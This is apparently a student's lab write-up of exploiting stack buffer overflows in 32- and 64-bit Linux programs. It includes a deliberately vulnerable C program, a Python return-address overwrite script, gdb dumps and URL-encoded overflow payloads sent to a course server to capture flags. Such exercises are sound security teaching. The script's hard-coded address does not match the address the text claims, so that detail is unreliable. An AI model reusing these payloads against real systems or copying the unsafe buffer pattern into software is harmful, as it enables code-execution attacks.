Linux Buffer Overflow Without Shellcode
Original Project: https://samsclass.info/127/proj/ED202c.htm

Project Overview
This project focuses on exploiting a buffer overflow vulnerability in a Linux program to bypass authentication and execute a privileged function (win()). The primary goal is to manipulate the execution flow by overwriting the return address (RET) in the stack using carefully crafted input.

🔹 Why We Do This Project
1. Learn Practical Exploitation Techniques
✔ Understand how buffer overflows occur in C programs.
✔ Learn to manipulate stack memory and overwrite return addresses.
✔ Gain hands-on experience with debugging (gdb) and disassembly.

2. Master Linux Security Concepts
✔ Work with Address Space Layout Randomization (ASLR) and learn how it affects exploits.
✔ Use gdb to analyze memory and registers ($eip, $ebp, $esp).
✔ Learn stack protection mechanisms like NX bit, canaries, and PIE.

3. Develop Ethical Hacking & Red Teaming Skills
✔ Demonstrate how attackers exploit poorly written programs.
✔ Understand how to defend against buffer overflow attacks.
✔ Gain experience with real-world penetration testing techniques.

Exploiting a 32-Bit Program
Creating the Vulnerable Program
We wrote a simple C program (pwd.c) that:
• Asks for a password.
• Uses fgets(password, 50, stdin), allowing buffer overflow because the buffer is only 10 bytes long.
• Always returns 1, preventing win() from executing.

```c
#include <stdlib.h>
#include <stdio.h>

int test_pw() {
        char password[10];
        printf("Password address: %p\n", password);
        printf("Enter password: ");
        fgets(password, 50, stdin);
        return 1;
}

void win() {
        printf("You win!\n");
}

void main() {
        if (test_pw()) printf("Fail!\n");
        else win();
}
```

✔ Goal: Exploit the overflow to modify the return address and execute win().
📌 Observing the Buffer Overflow:
1. Entering 40 characters causes a segmentation fault.
2. Check registers and stack:
✔ Observed RET overwrite with 0x46464747 (FFGG in ASCII).

📌 Redirecting Execution to win()
1. Find win() function address:
disassemble win
✔ Found at: 0x5655620b.
2. Create exploit:

```
#!/usr/bin/python3

import sys

# 0x000000000040119c

prefix = b"AAAABBBBCCCCDDDDEE"
eip = b'\x9c\x11\x40\x00\x00\x00\x00\x00'
postfix = b"GGHHHHIIIIJJJJ"

sys.stdout.buffer.write(prefix + eip + postfix)
```

✔ Why? Overwrites RET with 0x5655620b, making execution jump to win().
3. Save & run:
✔ Output: “You win!” ✅

Exploiting a 64-Bit Program
Method similar to 32-bit.

📌 Observing Stack Differences
✔ Registers have changed:
• \$eip → \$rip
• \$esp → \$rsp
• \$ebp → \$rbp

✔ Memory alignment:
• 64-bit addresses require 8 bytes instead of 4.

****

Flags Findings:
ED201.1: The ebp value is 0x46464545

```
Program received signal SIGSEGV, Segmentation fault.
0x47474646 in ?? ()
(gdb) info registers
eax            0x1                 1
ecx            0x0                 0
edx            0xf7fac9c4          -134559292
ebx            0x45454444          1162167364
esp            0xffffd1e0          0xffffd1e0
ebp            0x46464545          0x46464545
esi            0x56558ee8          1448447720
edi            0xf7ffcb80          -134231168
eip            0x47474646          0x47474646
eflags         0x286               [ PF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
```

0x5655620b is beginning of win

```
(gdb) disassemble win
Dump of assembler code for function win:
   0x5655620b <+0>:     push   %ebp
   0x5655620c <+1>:     mov    %esp,%ebp
   0x5655620e <+3>:     push   %ebx
   0x5655620f <+4>:     sub    $0x4,%esp
   0x56556212 <+7>:     call   0x5655627d <__x86.get_pc_thunk.ax>
   0x56556217 <+12>:    add    $0x2ddd,%eax
   0x5655621c <+17>:    sub    $0xc,%esp
   0x5655621f <+20>:    lea    -0x1fc5(%eax),%edx
   0x56556225 <+26>:    push   %edx
   0x56556226 <+27>:    mov    %eax,%ebx
   0x56556228 <+29>:    call   0x56556060 <puts@plt>
   0x5655622d <+34>:    add    $0x10,%esp
   0x56556230 <+37>:    nop
   0x56556231 <+38>:    mov    -0x4(%ebp),%ebx
   0x56556234 <+41>:    leave
   0x56556235 <+42>:    ret
End of assembler dump.
```

ED202.2: signal SIGSEGV

```
Continuing.
Enter password: You win!

Program received signal SIGSEGV, Segmentation fault.
0x48484747 in ?? ()
```

ED202.3: test_pw

```
Starting program: /home/student/Desktop/Exploit Playground/pwd32 --args < attack-pwd32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0xffffd1b6

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;
(gdb) info registers
eax            0xffffd1b6          -11850
ecx            0xffffd1de          -11810
edx            0xf7fac9c4          -134559292
ebx            0x56558ff4          1448447988
esp            0xffffd1b0          0xffffd1b0
ebp            0xffffd1c8          0xffffd1c8
esi            0x56558ee8          1448447720
edi            0xf7ffcb80          -134231168
eip            0x56556201          0x56556201 <test_pw+84>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/12x $esp
0xffffd1b0:     0xf7fc14b0      0x414197cb      0x42424141      0x43434242
0xffffd1c0:     0x44444343      0x45454444      0x46464545      0x5655566e
0xffffd1d0:     0x48484747      0x49494848      0x4a4a4949      0xf7004a4a
```

ED202.4: win

ED202.5: SPECIAL-CHARACTER

```
Enter product key: Congratulations!  The first flag is SPECIAL-CHARACTER

Program received signal SIGSEGV, Segmentation fault.
0x565554e0 in puts@plt ()
A debugging session is active.

        Inferior 1 [process 27404] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]
```

Browser given to find flag, url found to work by having 30 character followed by ASCII Code 7
https://attack.samsclass.info/ED202e/ED202.5b.php?string=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%07&submit=debug

ED202.6: RETURN-ORIENTED

```
Executing gdb command: continue

     Enter product key: Congratulations!  The second flag is RETURN-ORIENTED

     Program received signal SIGSEGV, Segmentation fault.
     0xffffdc00 in ?? ()
     A debugging session is active.
```

Browser:
https://attack.samsclass.info/ED202e/ED202.5b.php?string=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%dc%56%55%56&submit=debug

ED202.7: 8-BYTES-LONG

```
Enter product key: Congratulations!  The flag is 8-BYTES-LONG

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554857 in win () at ED202.7.c:14
14      }
A debugging session is active.

        Inferior 1 [process 26543] will be killed.
```

Browser:
https://attack.samsclass.info/ED202e/ED202.7.php?string=AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE%36%48%55%55%55%55&submit=debug

ED202.8: INSIDE-DEBUGGER

```
Received product key:  AAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEE XUV

Congratulations!  The first flag is INSIDE-DEBUGGER
16          fflush( stdout );
A debugging session is active.
```

Browser:
https://attack.samsclass.info/ED202e/ED202.8b1.php?string=0f4141414141414142424242424242424343434343434343444444444444444445454545450f5855560f&submit=debug

ED202.9: MOVING-TARGET
This flag has changing target win address. My target address is win=0xf777880f
The hex manipulation I did to create the buffer overflow was
0f41414141414141424242424242424243434343434343434444444444444444454545454550f8877f7

```
win address: 0xf777880f

Received product key:  AAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEE �w�

Congratulations!  The first flag is INSIDE-DEBUGGER

Congratulations!  The second flag is MOVING-TARGET
```

🔹 Key Findings & Lessons Learned

Concept	Findings
Buffer Overflow	Input exceeding buffer length overwrites RET.
Registers	32-bit: $eip, $esp, $ebp; 64-bit: $rip, $rsp, $rbp.
ASLR	Randomizes memory addresses to prevent predictable exploits.
Stack Layout	Function calls store RET address above local variables.
Exploit Development	Requires correct address formatting (Endianness).
Remote Exploitation	Address discovery is crucial when ASLR is enabled.

🔹 Final Thoughts
This project demonstrated how buffer overflows allow attackers to hijack program execution. By:
✔ Understanding stack memory organization.
✔ Learning debugging techniques (GDB, ASLR, registers).
✔ Developing custom exploit scripts using Python.

I successfully hijacked execution to call privileged functions (win()) both locally and remotely.